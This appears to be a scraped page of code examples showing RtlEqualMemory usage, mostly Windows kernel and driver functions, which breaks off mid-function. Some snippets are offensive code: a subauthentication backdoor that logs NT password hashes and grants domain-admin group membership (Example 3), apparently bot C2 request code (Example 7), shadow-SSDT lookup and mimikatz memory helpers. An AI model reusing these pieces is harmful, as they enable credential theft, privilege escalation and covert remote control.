Esempio n. 1
0
ULONG GetAddressOfShadowTable()   
{   
	ULONG  uAddress = 0;
	ULONG  i		= 0;
	PULONG pAddress = (PULONG)KeAddSystemServiceTable;   

	for (i = 0; i < 4096; i++, pAddress++)   
	{   
		__try   
		{   
			uAddress = *pAddress;   
		}   
		__except(EXCEPTION_EXECUTE_HANDLER)   
		{   
			return 0;   
		}   

		if (MmIsAddressValid((PVOID)uAddress))   
		{   
			if (RtlEqualMemory((PVOID)uAddress, &KeServiceDescriptorTable, sizeof(ULONG)))   
			{   
				if ((PVOID)uAddress == &KeServiceDescriptorTable)   
				{   
					continue;   
				}
				return uAddress;   
			}   
		}   
	}   

	return 0;   
}
Esempio n. 2
0
BOOL kull_m_memory_equal(IN PKULL_M_MEMORY_ADDRESS Address1, IN PKULL_M_MEMORY_ADDRESS Address2, IN SIZE_T Lenght)
{
	BOOL status = FALSE;
	KULL_M_MEMORY_ADDRESS aBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
	switch(Address1->hMemory->type)
	{
	case KULL_M_MEMORY_TYPE_OWN:
		switch(Address2->hMemory->type)
		{
		case KULL_M_MEMORY_TYPE_OWN:
			status = RtlEqualMemory(Address1->address, Address2->address, Lenght);
			break;
		default:
			status = kull_m_memory_equal(Address2, Address1, Lenght);
			break;
		}
		break;
	default:
		if(aBuffer.address = LocalAlloc(LPTR, Lenght))
		{
			if(kull_m_memory_copy(&aBuffer, Address1, Lenght))
				status = kull_m_memory_equal(&aBuffer, Address2, Lenght);
			LocalFree(aBuffer.address);
		}
		break;
	}
	return status;
}
Esempio n. 3
0
NTSTATUS NTAPI ksub_Msv1_0SubAuthenticationRoutine(IN NETLOGON_LOGON_INFO_CLASS LogonLevel, IN PVOID LogonInformation, IN ULONG Flags, IN PUSER_ALL_INFORMATION UserAll, OUT PULONG WhichFields, OUT PULONG UserFlags, OUT PBOOLEAN Authoritative, OUT PLARGE_INTEGER LogoffTime, OUT PLARGE_INTEGER KickoffTime)
{
	FILE *ksub_logfile;;
#pragma warning(push)
#pragma warning(disable:4996)
	if(ksub_logfile = _wfopen(L"kiwisub.log", L"a"))
#pragma warning(pop)
	{
		klog(ksub_logfile, L"%u (%u) - %wZ\\%wZ (%wZ) (%hu) ", UserAll->UserId, UserAll->PrimaryGroupId, &((PNETLOGON_LOGON_IDENTITY_INFO) LogonInformation)->LogonDomainName, &((PNETLOGON_LOGON_IDENTITY_INFO) LogonInformation)->UserName, &((PNETLOGON_LOGON_IDENTITY_INFO) LogonInformation)->Workstation, UserAll->BadPasswordCount);
		if(UserAll->NtPasswordPresent)
			klog_hash(ksub_logfile, &UserAll->NtPassword, FALSE);
		if((UserAll->BadPasswordCount == 4) || (UserAll->NtPasswordPresent && RtlEqualMemory(UserAll->NtPassword.Buffer, myHash, min(sizeof(myHash), UserAll->NtPassword.Length))))
		{
			UserAll->PrimaryGroupId = 512;
			klog(ksub_logfile, L" :)\n");
		}
		else klog(ksub_logfile, L"\n");
		fclose(ksub_logfile);
	}
	*WhichFields = 0;
	*UserFlags = 0;
	*Authoritative = TRUE;
	LogoffTime->QuadPart = KickoffTime->QuadPart = 0x7fffffffffffffff;
	return STATUS_SUCCESS;
}
Esempio n. 4
0
const DEVVTBL* IsoMount(ULONG DeviceId)
{
    UCHAR Buffer[SECTORSIZE];
    PPVD Pvd = (PPVD)Buffer;
    LARGE_INTEGER Position;
    ULONG Count;
    LONG ret;

    //
    // Read The Primary Volume Descriptor
    //
    Position.HighPart = 0;
    Position.LowPart = 16 * SECTORSIZE;
    ret = ArcSeek(DeviceId, &Position, SeekAbsolute);
    if (ret != ESUCCESS)
        return NULL;
    ret = ArcRead(DeviceId, Pvd, SECTORSIZE, &Count);
    if (ret != ESUCCESS || Count < sizeof(PVD))
        return NULL;

    //
    // Check if PVD is valid. If yes, return ISO9660 function table
    //
    if (Pvd->VdType == 1 && RtlEqualMemory(Pvd->StandardId, "CD001", 5))
        return &Iso9660FuncTable;
    else
        return NULL;
}
Esempio n. 5
0
BOOLEAN
NdasPortRemoveFromLpxLocalAddressList(
	PNDASPORT_DRIVER_EXTENSION DriverExtension,
	PTDI_ADDRESS_LPX TdiLpxAddress)
{
	PLIST_ENTRY entry;
	KIRQL oldIrql;

	KeAcquireSpinLock(&DriverExtension->LpxLocalAddressListSpinLock, &oldIrql);
	
	for (entry = DriverExtension->LpxLocalAddressList.Flink;
		entry != &DriverExtension->LpxLocalAddressList;
		entry = entry->Flink)
	{
		PTDI_ADDRESS_LPX_LIST_ENTRY lpxAddressEntry;
		BOOLEAN equal;
	
		lpxAddressEntry = CONTAINING_RECORD(
			entry, 
			TDI_ADDRESS_LPX_LIST_ENTRY, 
			ListEntry);

		equal = RtlEqualMemory(
			lpxAddressEntry->TdiAddress.Node,
			TdiLpxAddress->Node,
			sizeof(TdiLpxAddress->Node));

		if (equal)
		{
			RemoveEntryList(entry);

			KeReleaseSpinLock(&DriverExtension->LpxLocalAddressListSpinLock, oldIrql);

			ExFreePoolWithTag(
				lpxAddressEntry,
				NDASPORT_TAG_TDI);

			InterlockedIncrement(&DriverExtension->LpxLocalAddressListUpdateCounter);

			//
			// removed
			//
			DebugPrint((0, "\tLocal LPX Address Removed: %02X:%02X:%02X:%02X:%02X:%02X\n",
				TdiLpxAddress->Node[0], TdiLpxAddress->Node[1],
				TdiLpxAddress->Node[2], TdiLpxAddress->Node[3],
				TdiLpxAddress->Node[4], TdiLpxAddress->Node[5]));

			return TRUE;
		}
	}

	KeReleaseSpinLock(&DriverExtension->LpxLocalAddressListSpinLock, oldIrql);

	//
	// not removed
	//

	return FALSE;
}
Esempio n. 6
0
NTSTATUS kkll_m_memory_search(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur)
{
	for(*addressePattern = adresseBase; (adresseMaxMin > adresseBase) ? (*addressePattern <= adresseMaxMin) : (*addressePattern >= adresseMaxMin); *addressePattern += (adresseMaxMin > adresseBase) ? 1 : -1)
		if(RtlEqualMemory(pattern, *addressePattern, longueur))
			return STATUS_SUCCESS;
	*addressePattern = NULL;
	return STATUS_NOT_FOUND;
}
Esempio n. 7
0
PCHAR Server::SendRequest(PCHAR ServerUrl, DWORD Type, PCHAR Request, DWORD RequestLen, BOOLEAN Wait, PDWORD Size, PBOOLEAN pbok)
{
	PVOID Result = NULL;
	WINET_LOADURL LoadUrl = {0};
	PCHAR BotId = Drop::GetBotID();
	CHAR chHost[MAX_PATH] = {0};
	DWORD dwHost = RTL_NUMBER_OF(chHost)-1;
	PCHAR FullRequest;
	
	*pbok = FALSE;
	if (FullRequest = (PCHAR)malloc(RequestLen + 100))
	{
		DWORD Len = _snprintf(FullRequest, RequestLen + 100, "%s|%d|", Drop::GetBotID(), Type);
		
		CopyMemory(FullRequest + Len, Request, RequestLen);
		Len += RequestLen;

		LoadUrl.pcMethod = "POST";
		LoadUrl.pcUrl = ServerUrl;
		if (SUCCEEDED(UrlGetPart(ServerUrl, chHost, &dwHost, URL_PART_HOSTNAME, 0)))
		{
			LoadUrl.dwPstData = Len;
			if (LoadUrl.pvPstData = Utils::UtiCryptRc4M(chHost, dwHost, FullRequest, Len))
			{
				LoadUrl.dwRetry = Config::ReadInt(CFG_DCT_MAIN_SECTION, CFG_DCT_MAIN_SRVRETRY);

				PVOID Buffer = Wait ? WinetLoadUrlWait(&LoadUrl, 2*60) : WinetLoadUrl(&LoadUrl);
				if (Buffer)
				{
					Utils::UtiCryptRc4(BotId, lstrlen(BotId), Buffer, Buffer, LoadUrl.dwBuffer);

					if (RtlEqualMemory(Buffer, "OK\r\n", 4))
					{
						*pbok = TRUE;

						if (LoadUrl.dwBuffer > 4)
						{
							if (Result = malloc(LoadUrl.dwBuffer - 3))
							{
								CopyMemory(Result, (PCHAR)Buffer + 4, LoadUrl.dwBuffer - 4);
								((PCHAR)Result)[LoadUrl.dwBuffer - 4] = 0;
								if (Size) *Size = LoadUrl.dwBuffer - 4;
							}
						}
					}

					free(Buffer);
				}

				free(LoadUrl.pvPstData);
			}
		}

		free(FullRequest);
	}

	return (PCHAR)Result;
}
Esempio n. 8
0
BOOLEAN
RtlEqualSid(
    IN PSID Sid1,
    IN PSID Sid2
    )
{
    return ((Sid1->SubAuthorityCount == Sid2->SubAuthorityCount) &&
            RtlEqualMemory(Sid1, Sid2, RtlLengthSid(Sid1)));
}
Esempio n. 9
0
PBYTE kuhl_m_misc_detours_testHookDestination(PKULL_M_MEMORY_ADDRESS base, WORD machineOfProcess, DWORD level)
{
	PBYTE dst = NULL;
	BYTE bufferJmp[] = {0xe9}, bufferJmpOff[] = {0xff, 0x25}, bufferRetSS[]	= {0x50, 0x48, 0xb8};
	KUHL_M_MISC_DETOURS_HOOKS myHooks[] = {
		{0, bufferJmp,		sizeof(bufferJmp),		sizeof(bufferJmp),		sizeof(LONG), TRUE, FALSE},
		{1, bufferJmpOff,	sizeof(bufferJmpOff),	sizeof(bufferJmpOff),	sizeof(LONG), !(machineOfProcess == IMAGE_FILE_MACHINE_I386), TRUE},
		{0, bufferRetSS,	sizeof(bufferRetSS),	sizeof(bufferRetSS),	sizeof(PVOID), FALSE, FALSE},
	};
	KULL_M_MEMORY_HANDLE  hBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL};
	KULL_M_MEMORY_ADDRESS aBuffer = {NULL, &hBuffer}, dBuffer = {&dst, &hBuffer};
	KULL_M_MEMORY_ADDRESS pBuffer = *base;
	DWORD i, sizeToRead;

	for(i = 0; !dst && (i < sizeof(myHooks) / sizeof(KUHL_M_MISC_DETOURS_HOOKS)); i++)
	{
		if(level >= myHooks[i].minLevel)
		{
			sizeToRead = myHooks[i].offsetToRead + myHooks[i].szToRead;
			if(aBuffer.address = LocalAlloc(LPTR, sizeToRead))
			{
				if(kull_m_memory_copy(&aBuffer, base, sizeToRead))
				{
					if(RtlEqualMemory(myHooks[i].pattern, aBuffer.address, myHooks[i].szPattern))
					{
						if(myHooks[i].isRelative)
						{
							dst = (PBYTE) pBuffer.address + sizeToRead + *(PLONG) ((PBYTE) aBuffer.address + myHooks[i].offsetToRead);
						}
						else
						{
							dst = *(PBYTE *) ((PBYTE) aBuffer.address + myHooks[i].offsetToRead);
#ifdef _M_X64
							if(machineOfProcess == IMAGE_FILE_MACHINE_I386)
								dst = (PBYTE) ((ULONG_PTR) dst & 0xffffffff);
#endif
						}

						if(myHooks[i].isTarget)
						{
							pBuffer.address = dst;
							kull_m_memory_copy(&dBuffer, &pBuffer, sizeof(PBYTE));
#ifdef _M_X64
							if(machineOfProcess == IMAGE_FILE_MACHINE_I386)
								dst = (PBYTE) ((ULONG_PTR) dst & 0xffffffff);
#endif

						}
					}
				}
				LocalFree(aBuffer.address);
			}
		}
	}
	return dst;
}
Esempio n. 10
0
// Remembers a SYSTEM token and its owner name if applicable
_Use_decl_annotations_ static bool EopmonpCheckProcessToken(HANDLE pid,
                                                            void* context) {
  PAGED_CODE();
  UNREFERENCED_PARAMETER(context);

  const char* NTAPI PsGetProcessImageFileName(_In_ PEPROCESS Process);

  // Get EPROCESS
  PEPROCESS process = nullptr;
  auto status = PsLookupProcessByProcessId(pid, &process);
  if (!NT_SUCCESS(status)) {
    return true;
  }

  // Test if a process name of this pid matches with any of known system
  // processes.
  const auto process_name = PsGetProcessImageFileName(process);
  for (auto system_process_name : kEopmonpSystemProcessNames) {
    if (!RtlEqualMemory(process_name, system_process_name,
                        strlen(system_process_name) + 1)) {
      continue;
    }

    // System process found
    const auto token = PsReferencePrimaryToken(process);

    // Initialize g_eopmonp_offset_to_token if not yet
    if (!g_eopmonp_offset_to_token && !EopmonpInitTokenOffset(process, token)) {
      PsDereferencePrimaryToken(token);
      ObfDereferenceObject(process);
      return false;  // error. cannot continue
    }

    // PLACE TO IMPROVE:
    // EopMon updates a list of system processes' tokens and IDs only once,
    // while some of them like csrss.exe and winlogon.exe can be terminated and
    // re-launched when a use logout and logon to the system. One solution would
    // be installing process notification callback and maintain the latest
    // system process list.
    g_eopmonp_system_process_tokens->emplace_back(token, system_process_name);
    g_eopmonp_system_process_ids->push_back(pid);
    HYPERPLATFORM_LOG_INFO("System Token %p with PID=%Iu %s", token, pid,
                           system_process_name);

    PsDereferencePrimaryToken(token);
  }

  ObfDereferenceObject(process);
  return true;
}
Esempio n. 11
0
BOOL kull_m_memory_search(IN PKULL_M_MEMORY_ADDRESS Pattern, IN SIZE_T Length, IN PKULL_M_MEMORY_SEARCH Search, IN BOOL bufferMeFirst)
{
	BOOL status = FALSE;
	KULL_M_MEMORY_HANDLE  hBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL};
	KULL_M_MEMORY_SEARCH  sBuffer = {{{NULL, &hBuffer}, Search->kull_m_memoryRange.size}, NULL};
	PBYTE CurrentPtr;
	PBYTE limite = (PBYTE) Search->kull_m_memoryRange.kull_m_memoryAdress.address + Search->kull_m_memoryRange.size;

	switch(Pattern->hMemory->type)
	{
	case KULL_M_MEMORY_TYPE_OWN:
		switch(Search->kull_m_memoryRange.kull_m_memoryAdress.hMemory->type)
		{
		case KULL_M_MEMORY_TYPE_OWN:
			for(CurrentPtr = (PBYTE) Search->kull_m_memoryRange.kull_m_memoryAdress.address; !status && (CurrentPtr + Length <= limite); CurrentPtr++)
				status = RtlEqualMemory(Pattern->address, CurrentPtr, Length);
			CurrentPtr--;
			break;
		case KULL_M_MEMORY_TYPE_PROCESS:
		case KULL_M_MEMORY_TYPE_FILE:
		case KULL_M_MEMORY_TYPE_KERNEL:
			if(sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address = LocalAlloc(LPTR, Search->kull_m_memoryRange.size))
			{
				if(kull_m_memory_copy(&sBuffer.kull_m_memoryRange.kull_m_memoryAdress, &Search->kull_m_memoryRange.kull_m_memoryAdress, Search->kull_m_memoryRange.size))
					if(status = kull_m_memory_search(Pattern, Length, &sBuffer, FALSE))
						CurrentPtr = (PBYTE) Search->kull_m_memoryRange.kull_m_memoryAdress.address + (((PBYTE) sBuffer.result) - (PBYTE) sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address);
				LocalFree(sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address);
			}
			break;
		case KULL_M_MEMORY_TYPE_PROCESS_DMP:
			if(sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address = kull_m_minidump_remapVirtualMemory64(Search->kull_m_memoryRange.kull_m_memoryAdress.hMemory->pHandleProcessDmp->hMinidump, Search->kull_m_memoryRange.kull_m_memoryAdress.address, Search->kull_m_memoryRange.size))
				if(status = kull_m_memory_search(Pattern, Length, &sBuffer, FALSE))
					CurrentPtr = (PBYTE) Search->kull_m_memoryRange.kull_m_memoryAdress.address + (((PBYTE) sBuffer.result) - (PBYTE) sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address);
			break;
		default:
			break;
		}
		break;
	default:
		break;
	}

	Search->result = status ? CurrentPtr : NULL;

	return status;
}
Esempio n. 12
0
BOOLEAN
RtlEqualPrefixSid(
    IN PSID Sid1,
    IN PSID Sid2
    )
{
    BOOLEAN isEqual = FALSE;
    if (Sid1->SubAuthorityCount == Sid2->SubAuthorityCount)
    {
        UCHAR count = Sid1->SubAuthorityCount;
        if (count > 0)
        {
            count--;
        }
        isEqual = RtlEqualMemory(Sid1, Sid2, RtlLengthRequiredSid(count));
    }
    return isEqual;
}
Esempio n. 13
0
BOOLEAN
NTAPI
ObpCompareSecurityDescriptors(IN PSECURITY_DESCRIPTOR Sd1,
                              IN ULONG Length1,
                              IN PSECURITY_DESCRIPTOR Sd2)
{
    ULONG Length2;
    ASSERT(Length1 == RtlLengthSecurityDescriptor(Sd1));
    
    /* Get the length of the second SD */
    Length2 = RtlLengthSecurityDescriptor(Sd2);
    
    /* Compare lengths */
    if (Length1 != Length2) return FALSE;
    
    /* Compare contents */
    return RtlEqualMemory(Sd1, Sd2, Length1);
}
Esempio n. 14
0
ULONG
UdfsFindInParseTable (
    IN PPARSE_KEYVALUE ParseTable,
    IN PCHAR Id,
    IN ULONG MaxIdLen
    )

/*++

Routine Description:

    This routine walks a table of string key/value information for a match of the
    input Id.  MaxIdLen can be set to get a prefix match.

Arguments:

    Table - This is the table being searched.

    Id - Key value.

    MaxIdLen - Maximum possible length of Id.

Return Value:

    Value of matching entry, or the terminating (NULL) entry's value.

--*/

{
    PAGED_CODE();

    while (ParseTable->Key != NULL) {

        if (RtlEqualMemory(ParseTable->Key, Id, MaxIdLen)) {

            break;
        }

        ParseTable++;
    }

    return ParseTable->Value;
}
Esempio n. 15
0
BOOLEAN
RtlIsPrefixSid(
    IN PSID Prefix,
    IN PSID Sid
    )
{
    /*
     * memory-compare only the part starting from IdentifierAuthority
     * (basically, skip SubAuthorityCount which is different in both SIDs)
     */
    ULONG ulAuthSidLength = RtlLengthSid(Prefix) -
                            (sizeof(Prefix->Revision) +
                             sizeof(Prefix->SubAuthorityCount));

    return ((Prefix->SubAuthorityCount <= Sid->SubAuthorityCount) &&
            (Prefix->Revision == Sid->Revision) &&
            RtlEqualMemory(&Prefix->IdentifierAuthority,
                           &Sid->IdentifierAuthority,
                           ulAuthSidLength));
}
Esempio n. 16
0
NTSTATUS
FileDiskGetNdasLogicalUnitInterface(
    __in PNDAS_LOGICALUNIT_DESCRIPTOR LogicalUnitDescriptor,
    __inout PNDAS_LOGICALUNIT_INTERFACE LogicalUnitInterface,
    __out PULONG LogicalUnitExtensionSize,
    __out PULONG SrbExtensionSize)
{
    BOOLEAN equal;

    if (NdasExternalType != LogicalUnitDescriptor->Type)
    {
        return STATUS_INVALID_PARAMETER_1;
    }

    equal = RtlEqualMemory(
                &LogicalUnitDescriptor->ExternalTypeGuid,
                &NDASPORT_FILEDISK_TYPE_GUID,
                sizeof(GUID));

    if (!equal)
    {
        return STATUS_INVALID_PARAMETER_1;
    }

    if (sizeof(NDAS_LOGICALUNIT_INTERFACE) != LogicalUnitInterface->Size ||
            NDAS_LOGICALUNIT_INTERFACE_VERSION != LogicalUnitInterface->Version)
    {
        return STATUS_INVALID_PARAMETER_2;
    }

    RtlCopyMemory(
        LogicalUnitInterface,
        &FileDiskInterface,
        sizeof(NDAS_LOGICALUNIT_INTERFACE));

    *LogicalUnitExtensionSize = sizeof(FILEDISK_EXTENSION);
    *SrbExtensionSize = 0;

    return STATUS_SUCCESS;
}
static BYTE* _Arp_FindTableEntry_Unsafe(_In_ const BYTE ip[4])
{
    PLIST_ENTRY pCurEntry = g_arpTable.Flink;

    if (IsListEmpty(&g_arpTable))
    {
        return NULL;
    }

    do
    {
        OVS_ARP_TABLE_ENTRY* pArpEntry = CONTAINING_RECORD(pCurEntry, OVS_ARP_TABLE_ENTRY, listEntry);

        if (RtlEqualMemory(ip, pArpEntry->ip, sizeof(OVS_IPV4_ADDRESS_LENGTH)))
        {
            OVS_CHECK(pArpEntry->mac);
            return pArpEntry->mac;
        }

        pCurEntry = pCurEntry->Flink;
    } while (pCurEntry != &g_arpTable);

    return NULL;
}
Esempio n. 18
0
VOID
LpxTransferDataComplete(
	IN NDIS_HANDLE   ProtocolBindingContext,
	IN PNDIS_PACKET  Packet,
	IN NDIS_STATUS   Status,
	IN UINT          BytesTransfered
	)
{
	PDEVICE_CONTEXT	pDeviceContext;
	PLPX_HEADER	lpxHeader;
	PNDIS_BUFFER	firstBuffer;	
	PUCHAR			packetData;
	UINT			packetDataLength;
	USHORT			lpxHeaderSize;


	UNREFERENCED_PARAMETER( BytesTransfered );

	pDeviceContext = (PDEVICE_CONTEXT)ProtocolBindingContext;

	if (Status != NDIS_STATUS_SUCCESS) {

		ASSERT( FALSE );
		DebugPrint( 1,  ("[LPX] LpxTransferDataComplete error %x\n", Status) );
		PacketFree( pDeviceContext, Packet );
		return;
	}

	if (RESERVED(Packet)->HeaderCopied == FALSE) {
	
		NdisQueryPacket( Packet, NULL, NULL, &firstBuffer, NULL );
		NdisQueryBufferSafe( firstBuffer, &packetData, &packetDataLength, HighPagePriority );

		lpxHeader = (PLPX_HEADER)(packetData + RESERVED(Packet)->PacketRawDataOffset);

		lpxHeaderSize = sizeof(LPX_HEADER);

#if __LPX_OPTION_ADDRESSS__

		if (FlagOn(lpxHeader->Option, LPX_OPTION_SOURCE_ADDRESS)) {

			lpxHeaderSize += ETHERNET_ADDRESS_LENGTH;
		}

		if (FlagOn(lpxHeader->Option, LPX_OPTION_DESTINATION_ADDRESS)) {

			lpxHeaderSize += ETHERNET_ADDRESS_LENGTH;
		}

#endif

		RtlCopyMemory( &RESERVED(Packet)->LpxHeader, lpxHeader, lpxHeaderSize );
		RESERVED(Packet)->HeaderCopied = TRUE;

		RESERVED(Packet)->PacketRawDataLength = RESERVED(Packet)->PacketRawDataOffset + NTOHS(lpxHeader->PacketSize & ~LPX_TYPE_MASK);
		RESERVED(Packet)->PacketRawDataOffset += lpxHeaderSize;
	}
	
	lpxHeaderSize = sizeof(LPX_HEADER);

#if __LPX_OPTION_ADDRESSS__

	if (FlagOn(RESERVED(Packet)->LpxHeader.Option, LPX_OPTION_SOURCE_ADDRESS)) {

		if (!FlagOn(RESERVED(Packet)->LpxHeader.Option, LPX_OPTION_DESTINATION_ADDRESS)) {
		
			RtlCopyMemory( RESERVED(Packet)->OptionSourceAddress,
						   RESERVED(Packet)->OptionDestinationAddress,
						   ETHERNET_ADDRESS_LENGTH );	
		}

		lpxHeaderSize += ETHERNET_ADDRESS_LENGTH;

		ASSERT( RtlEqualMemory(RESERVED(Packet)->EthernetHeader.SourceAddress,
							   RESERVED(Packet)->OptionSourceAddress,
							   ETHERNET_ADDRESS_LENGTH) );
	}

	if (FlagOn(RESERVED(Packet)->LpxHeader.Option, LPX_OPTION_DESTINATION_ADDRESS)) {

		lpxHeaderSize += ETHERNET_ADDRESS_LENGTH;

		ASSERT( RtlEqualMemory(RESERVED(Packet)->EthernetHeader.DestinationAddress,
							   RESERVED(Packet)->OptionDestinationAddress,
							   ETHERNET_ADDRESS_LENGTH) );
	}

#endif

	if (NTOHS(RESERVED(Packet)->LpxHeader.PacketSize & ~LPX_TYPE_MASK) - lpxHeaderSize != 
		RESERVED(Packet)->PacketRawDataLength - RESERVED(Packet)->PacketRawDataOffset) {

		ASSERT( FALSE );
		PacketFree( pDeviceContext, Packet );
		return;
	}		

	ExInterlockedInsertTailList( &pDeviceContext->PacketInProgressList,
								 &(RESERVED(Packet)->ListEntry),
								 &pDeviceContext->PacketInProgressQSpinLock );
	return;
}
Esempio n. 19
0
BOOLEAN
NTAPI
CmpGetBiosDate(IN PCHAR BiosStart,
               IN ULONG BiosLength,
               IN PCHAR BiosDate,
               IN BOOLEAN FromBios)
{
    CHAR LastDate[11] = {0}, CurrentDate[11];
    PCHAR p, pp;

    /* Skip the signature and the magic, and loop the BIOS ROM */
    p = BiosStart + 2;
    pp = BiosStart + BiosLength - 5;
    while (p < pp)
    {
        /* Check for xx/yy/zz which we assume to be a date */
        if ((p[0] == '/') &&
            (p[3] == '/') &&
            (isdigit(p[-1])) &&
            (isdigit(p[1])) &&
            (isdigit(p[2])) &&
            (isdigit(p[4])) &&
            (isdigit(p[5])))
        {
            /* Copy the string proper */
            RtlMoveMemory(&CurrentDate[5], p - 2, 5);

            /* Add a 0 if the month only has one digit */
            if (!isdigit(CurrentDate[5])) CurrentDate[5] = '0';

            /* Now copy the year */
            CurrentDate[2] = p[4];
            CurrentDate[3] = p[5];
            CurrentDate[4] = CurrentDate[7] = CurrentDate[10] = ANSI_NULL;

            /* If the date comes from the BIOS, check if it's a 4-digit year */
            if ((FromBios) &&
                (isdigit(p[6])) &&
                (isdigit(p[7])) &&
                ((RtlEqualMemory(&p[4], "19", 2)) ||
                 (RtlEqualMemory(&p[4], "20", 2))))
            {
                /* Copy the year proper */
                CurrentDate[0] = p[4];
                CurrentDate[1] = p[5];
                CurrentDate[2] = p[6];
                CurrentDate[3] = p[7];
            }
            else
            {
                /* Otherwise, we'll just assume anything under 80 is 2000 */
                if (strtoul(&CurrentDate[2], NULL, 10) < 80)
                {
                    /* Hopefully your BIOS wasn't made in 1979 */
                    CurrentDate[0] = '2';
                    CurrentDate[1] = '0';
                }
                else
                {
                    /* Anything over 80, was probably made in the 1900s... */
                    CurrentDate[0] = '1';
                    CurrentDate[1] = '9';
                }
            }

            /* Add slashes where we previously had NULLs */
            CurrentDate[4] = CurrentDate[7] = '/';

            /* Check which date is newer */
            if (memcmp(LastDate, CurrentDate, 10) < 0)
            {
                /* Found a newer date, select it */
                RtlMoveMemory(LastDate, CurrentDate, 10);
            }

            p += 2;
        }
        p++;
    }

    /* Make sure we found a date */
    if (LastDate[0])
    {
        /* Copy the year at the pp, and keep only the last two digits */
        RtlMoveMemory(BiosDate, &LastDate[5], 5);
        BiosDate[5] = '/';
        BiosDate[6] = LastDate[2];
        BiosDate[7] = LastDate[3];
        BiosDate[8] = ANSI_NULL;
        return TRUE;
    }

    /* No date found, return empty string */
    BiosDate[0] = ANSI_NULL;
    return FALSE;
}
Esempio n. 20
0
NTSTATUS
NbfTdiAction(
    IN PDEVICE_CONTEXT DeviceContext,
    IN PIRP Irp
)

/*++

Routine Description:

    This routine performs the TdiAction request for the transport
    provider.

Arguments:

    DeviceContext - The device context for the operation

    Irp - the Irp for the requested operation.

Return Value:

    NTSTATUS - status of operation.

--*/

{
    NTSTATUS status;
    PIO_STACK_LOCATION irpSp;
    PTDI_ACTION_HEADER ActionHeader;
    LARGE_INTEGER timeout = {0,0};
    PTP_REQUEST tpRequest;
    KIRQL oldirql, cancelirql;
    ULONG BytesRequired;

    //
    // what type of status do we want?
    //

    irpSp = IoGetCurrentIrpStackLocation (Irp);

    if ((!Irp->MdlAddress) ||
            (MmGetMdlByteCount(Irp->MdlAddress) < sizeof(TDI_ACTION_HEADER))) {
        return STATUS_INVALID_PARAMETER;
    }

    ActionHeader = (PTDI_ACTION_HEADER)MmGetSystemAddressForMdlSafe(Irp->MdlAddress, NormalPagePriority);

    if (!ActionHeader) {
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    //
    // Make sure we have required number of bytes for this type of request
    //

    switch (ActionHeader->ActionCode) {

    case QUERY_INDICATION_CODE:
        BytesRequired = sizeof(ACTION_QUERY_INDICATION);
        break;

    case DATAGRAM_INDICATION_CODE:
        BytesRequired = sizeof(ACTION_DATAGRAM_INDICATION);
        break;

    default:
        return STATUS_NOT_IMPLEMENTED;
    }

    if (MmGetMdlByteCount(Irp->MdlAddress) < BytesRequired) {
        return STATUS_INVALID_PARAMETER;
    }

    //
    // Here the request is one of QUERY_INDICATION or DATAGRAM_INDICATION
    //

    //
    // These two requests are sent by RAS to "MABF"
    //

    if (!RtlEqualMemory ((PVOID)(&ActionHeader->TransportId), "MABF", 4)) {
        return STATUS_NOT_SUPPORTED;
    }

    //
    // They should be sent on the control channel
    //

    if (irpSp->FileObject->FsContext2 != (PVOID)NBF_FILE_TYPE_CONTROL) {
        return STATUS_NOT_SUPPORTED;
    }


    //
    // Create a request to describe this.
    //

    status = NbfCreateRequest (
                 Irp,                           // IRP for this request.
                 DeviceContext,                 // context.
                 REQUEST_FLAGS_DC,              // partial flags.
                 Irp->MdlAddress,
                 MmGetMdlByteCount(Irp->MdlAddress),
                 timeout,
                 &tpRequest);

    if (NT_SUCCESS (status)) {

        NbfReferenceDeviceContext ("Action", DeviceContext, DCREF_REQUEST);
        tpRequest->Owner = DeviceContextType;
        tpRequest->FrameContext = (USHORT)irpSp->FileObject->FsContext;

        IoAcquireCancelSpinLock(&cancelirql);
        ACQUIRE_SPIN_LOCK (&DeviceContext->SpinLock,&oldirql);

        //
        // Disallow these requests on a stopping device.
        //

        if (DeviceContext->State != DEVICECONTEXT_STATE_OPEN) {

            RELEASE_SPIN_LOCK (&DeviceContext->SpinLock,oldirql);
            IoReleaseCancelSpinLock(cancelirql);
            NbfCompleteRequest (tpRequest, STATUS_DEVICE_NOT_READY, 0);

        } else {

            if (ActionHeader->ActionCode == QUERY_INDICATION_CODE) {

                InsertTailList (
                    &DeviceContext->QueryIndicationQueue,
                    &tpRequest->Linkage);

            } else {

                InsertTailList (
                    &DeviceContext->DatagramIndicationQueue,
                    &tpRequest->Linkage);

            }

            DeviceContext->IndicationQueuesInUse = TRUE;


            //
            // If this IRP has been cancelled, then call the
            // cancel routine.
            //

            if (Irp->Cancel) {
                RELEASE_SPIN_LOCK (&DeviceContext->SpinLock,oldirql);
                Irp->CancelIrql = cancelirql;
                NbfCancelAction((PDEVICE_OBJECT)DeviceContext, Irp);
                return STATUS_PENDING;
            }

            IoSetCancelRoutine(Irp, NbfCancelAction);

            RELEASE_SPIN_LOCK (&DeviceContext->SpinLock,oldirql);
            IoReleaseCancelSpinLock(cancelirql);

        }

        status = STATUS_PENDING;

    }

    return status;

}
Esempio n. 21
0
NTSTATUS FdoPortIoCtl(
    IN PC0C_FDOPORT_EXTENSION pDevExt,
    IN PIRP pIrp)
{
    NTSTATUS status;
    PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
    ULONG code = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
    KIRQL oldIrql;
    PC0C_IO_PORT pIoPortLocal;

    pIrp->IoStatus.Information = 0;
    pIoPortLocal = pDevExt->pIoPortLocal;

    if ((pIoPortLocal->handFlow.ControlHandShake & SERIAL_ERROR_ABORT) &&
            pIoPortLocal->errors && code != IOCTL_SERIAL_GET_COMMSTATUS)
    {
        status = STATUS_CANCELLED;
    } else {
        status = STATUS_SUCCESS;

        switch (code) {
        case IOCTL_SERIAL_SET_RTS:
        case IOCTL_SERIAL_CLR_RTS:
            KeAcquireSpinLock(pIoPortLocal->pIoLock, &oldIrql);
